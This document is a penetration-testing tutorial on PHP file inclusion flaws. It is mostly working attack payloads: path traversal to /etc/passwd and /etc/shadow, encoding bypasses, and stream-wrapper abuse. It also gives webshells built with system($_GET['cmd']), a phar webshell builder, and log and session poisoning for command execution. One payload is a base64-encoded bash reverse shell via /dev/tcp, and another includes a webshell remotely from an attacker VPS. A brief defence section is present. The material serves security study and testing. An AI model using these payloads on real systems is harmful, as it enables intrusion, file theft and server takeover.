0x01 Overview#
What is a File Inclusion Vulnerability
A file inclusion vulnerability refers to the failure to properly validate the incoming filename when using PHP functions to include files, allowing an attacker to construct malicious parameters that can manipulate and read files that should not be accessed, and even inject malicious code into the server.
The Dangers of File Inclusion Vulnerabilities
- Accessing and reading sensitive files, such as configuration files, password files, etc.
- Executing arbitrary code, including system commands and remote code, thereby controlling the server.
- Injecting malicious code, such as cross-site scripting (XSS), to steal user data or hijack user sessions.
PHP Functions Related to File Inclusion Vulnerabilities
include()
include_once()
require()
require_once()
Differences Between include() and require()
- include() issues a warning when it fails to include a file, and the script will
continue executing
; whereas require() issues a fatal error when it fails to include a file, and the script willstop executing
. - include() can include the same file multiple times, while require() can only include it once; otherwise, it will issue a fatal error.
Differences Between include() and include_once()
- include() can include the same file multiple times, while include_once() will only include it once; if it has already been included, it will not be included again.
0x02 Classification of File Inclusion#
Local file inclusion can only include files that are local to the server, while remote file inclusion can include both local files and files from remote websites.
Local File Inclusion Exploitation
Reading System Files
http://example:28050/control/more/file_include.php?filename=../../../../../../etc/passwd
Windows and Linux can attempt to read some of the following contents, listing some common sensitive file path information.
# Windows System
c:\boot.ini
c:\windows\system32\inetsrv\MetaBase.xml
c:\windows\repair\sam
c:\ProgramFiles\mysql\my.ini
c:\ProgramFiles\mysql\data\mysql\user.MYD
c:\windows\php.ini
# Linux/Unix System
/etc/passwd
/etc/shadow
/usr/local/app/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhost.conf
/usr/local/app/php5/lib/php.ini
/etc/httpd/conf/httpd.conf
/etc/my.conf
Can be used with Burp Suite for sensitive file brute-forcing.
Or use directory scanning tools like Gobuster.
gobuster fuzz -u "http://<target>/static/ueditor/php/controller.php?action=proxy&remote=file://FUZZ" -w "/pentesting/web-basic/p12-字典收集/pentesting/web/payloads/lfi-rfi/lfi-linux-list.txt" --exclude-length 2176 -H 'Header1: 200' -b 400
When the included file contains PHP code, regardless of the file extension, it will be treated as a PHP file for execution, such as the content of 1.txt being <?php phpinfo(); ?>
.
http://127.0.0.1:8999/index.php?file=1.txt
To read server code, it is necessary to combine with PHP pseudo-protocols, such as php://filter
, where the content read is base64.
http://127.0.0.1:8999/index.php?file=php://filter/convert.base64-encode/resource=index.php
If it is a remote file inclusion, the following two configurations in php.ini need to be enabled, both set to On:
Including remote server files, for example, the content of 1.txt is <?php phpinfo(); ?>
.
http://127.0.0.1:8999/index.php?file=http://192.168.101.173:8080/1.txt
Remote file inclusion can be achieved by starting a web service on the remote server using Python3, allowing the target server to download files hosted on the remote server.
python -m SimpleHTTPServer <port> # python2
python3 -m http.server <port> # python3
Accessing webshell.
http://<target>/index.php?page=http://vps_ip/webshell.php&cmd=id
FTP protocol can also be used to download.
python3 -m pyftpdlib -p 21
Accessing webshell.
http://<target>/index.php?page=ftp://vps_ip/webshell.php&cmd=id
0x03 Bypassing File Inclusion Vulnerabilities#
- %00 truncation (PHP version less than 5.3.4, and GPC disabled)
http://192.168.100.157/fi/02.php?filename=/etc/passwd%00
- Using remote file inclusion
Can use ? or # to bypass suffix restrictions.
http://192.168.100.157/fi/05.php?filename=http://vps_ip:9999/test.txt%23
- Encoding bypass
Using URL encoding:
..%2e%2e%2f ..%2f %2e%2e/
..%2e%2e%5c ..%5c %2e%2e\
Double URL encoding
../%252e%252e%252f
..\%252e%252e%255c
Container/server encoding methods
../..%c0%af %c0%ae%c0%ae/
..\..%c1%9c
0x04 PHP Pseudo Protocols#
PHP provides various input/output (IO) streams that allow access to PHP's input/output streams, standard input/output, and error descriptors, temporary file streams backed up in memory and on disk, as well as filters that can manipulate other read/write file resources.
- php://filter
# base64
http://<target>/index.php?page=php://filter/read=convert.base64-encode/resource=../../../<directory>/<file>
# ROT13
http://<target>/index.php?page=php://filter/read=string.rot13/resource=../../../<directory>/<file>
http://127.0.0.1:8999/index.php?file=php://filter/convert.base64-encode/resource=index.php
Returns base encoded content.
- php://input
POST /index.php?page=php://input
Host: <target>
<?php system('whoami'); ?>
- data://
Requires enabling allow_url_include
and allow_url_fopen
.
http://192.168.100.157/fi/10.php?filename=data://text/plain,<?php phpinfo();?>
http://192.168.100.157/fi/10.php?filename=data://text/plain,<?php echo base64_encode(file_get_contents("10.php"));?>
http://192.168.100.157/fi/10.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
- zip protocol
The zip://
stream is a PHP feature that allows access to files within compressed files. When combined with file inclusion functions, the zip://
stream is parsed as a PHP file and executes the code within, leading to the risk of arbitrary code execution.
When using the zip://
stream, an absolute path must be provided, and the contents of the compressed file and the file within must be separated using the # symbol, which needs to be URL encoded (replace # with %23
).
test.zip contains test.txt
http://127.0.0.1/index.php?test=zip:///var/www/html/test.zip%23test.txt
- phar protocol
Prepare a PHP file.
# webshell.php
<?php
$phar = new Phar('webshell.phar');
$phar->startBuffering();
$phar->addFromString('webshell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
?>
Generate the phar file.
php --define phar.readonly=0 webshell.php
mv webshell.phar webshell.jpg
Upload the webshell.jpg file to the target web server and execute it from the identified local file inclusion (LFI).
http://<target>/index.php?page=phar://webshell.jpg/webshell.txt&cmd=id
- file:// (absolute file path)
file://
is used to access the local file system and is not affected by allow_url_fopen and allow_url_include.
Usage is as follows:
http://127.0.0.1:8999/index.php?file=file:///etc/passwd
Pseudo Protocol Usage Conditions
Protocol | Tested PHP Version | allow_url_fopen | allow_url_include | Usage | |
---|---|---|---|---|---|
file | >= 4.0.0 | On/off | On/off | ?file=file:///etc/passwd | |
gopher | >= 4.3.0 | On | Off | ?file=gopher://example.com:test | |
http | >= 4.0.0 | On | Off | ?file=https://example.com/test | |
ftp | >= 4.0.0 | On | Off | ?file=ftp://example.com/file.txt | |
data | >= 5.2.0 | On | On | ?text=data:text/plain,<?php phpinfo();?> | |
phar | >= 5.3.0 | On | Off | ?file=phar://path/to/file.phar/test.php | |
php://filter | >= 5.2.0 | On/off | On/off | ?file=php://filter/read=string.rot13/resource=example.php or php://filter/read=convert.base64-encode/resource=./index.php | |
expect | >= 4.3.0 | On | Off | ?cmd=expect://id | |
php://input | >= 5.2.0 | On/off | On/off | ?file=php://input post data: <?php phpinfo();?> | |
zip | >= 5.2.0 | On/off | On/off | ?file=zip:///var/www/html/file.zip%23shell.txt |
0x05 Protection Against File Inclusion Vulnerabilities#
To avoid file inclusion vulnerabilities, developers should always perform strict validation and filtering of user input, including limiting file paths and filtering special characters. Additionally, it is best to place sensitive files outside the server or use access control lists (ACLs) to restrict access to sensitive files.
0x06 Others#
1. File Inclusion Leading to RCE#
- Using the php://input protocol
POST /index.php?page=php://input
Host: <target>
<?php system('whoami'); ?>
or
POST /index.php?page=php://input&cmd=cat /etc/passwd
<?php echo(shell_exec($_GET['cmd']));?>
- Using the data protocol
http://<target>/index.php?page=data://text/plain,<?php system('whoami'); ?>
http://jtongic.com:83/start/index.php?page=data:text/plain,<?php system('ls ../');?>
http://<target>/index.php?page=data://text/plain;base64,<base64>
- File inclusion executing webshell commands
# Prepare a webshell and base64 encode it
echo '<?php system($_GET['cmd']); ?>' | base64
# The encoded content is as follows
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=
# Final payload
http://<target>/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=&cmd=id
- File inclusion for reverse shell
# Reverse shell (Bash)
bash -c 'bash -i >& /dev/tcp/<IP-Address>/<port> 0>&1'
# Reverse shell (Bash) base64 encoded
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC97SVAtQWRkcmVzc30ve3BvcnR9IDA+JjEn
# Final payload
http://<target>/index.php?page=data://text/plain;base64,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC97SVAtQWRkcmVzc30ve3BvcnR9IDA+JjEn
- File upload combined with zip protocol
Prepare a zip archive containing a PHP file.
echo '<?php system($_GET['cmd']); ?>' > webshell.php
zip webshell.zip webshell.php
Upload the webshell.zip file to the target web server and reference the file within the zip using the # symbol.
http://<target>/index.php?page=zip://webshell.zip#cmd.php&cmd=id
http://<target>/index.php?page=zip://webshell.zip%23cmd.php&cmd=id
- File upload combined with images
Prepare an image webshell.
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > webshell.gif
Upload the image to the server and include it.
http://<target>/index.php?page=webshell.gif&cmd=id
If you can control the content on the server's disk (like server logs), it can be escalated to command execution.
- File inclusion log RCE
Log file paths in Linux.
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log
Write the webshell to the log; simply access any page and include the webshell in the request packet.
GET /index.php?page=<log-file>
Host: <target>
User-Agent: <?php system($_GET['cmd']); ?>
Access the webshell.
http://<target>/index.php?page=<log-file>&cmd=id
- PHP session RCE
The PHP session storage paths are as follows:
/var/lib/php/sessions/
C:\Windows\Temp
General process:
Assuming the PHPSESSID
value is ujllfv2j2j2sm7ae11is401hvdf9
.
http://<target>/index.php?page=<session-files-path>/sess_ujllfv2j2j2sm7ae11is401hvdf9
Modify any value stored in the session as follows:
<?php system($_GET['cmd']); ?>
Access the webshell to execute commands.
http://<target>/index.php?page=<session-files-path>/sess_ujllfv2j2j2sm7ae11is401hvdf9&cmd=id
Example:
SESSION["username"]= $_GET['iwebsec'];
The value of the iwebsec variable is stored in the session. When accessing http://192.168.100.157/fi/03.php?iwebsec=iwebsec, the session value will be stored in the /var/lib/php/sessions/ directory.
The session can be viewed in the browser's F12 - Network, and the session content includes: sess_PHPSESSID.
After writing the content to the session, include the session file through the file inclusion vulnerability.
Execute the command.
2. One Command File Inclusion#
gau $target | gf lfi | qsreplace "/etc/passwd" | xargs -I % -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
- gau: getallurls, to obtain known URLs.
- gf: filter out corresponding content.
- qsreplace: accepts URLs from standard input and replaces all query string values with user-provided values, outputting each combination of query string parameters for each host and path only once.
3. Tools#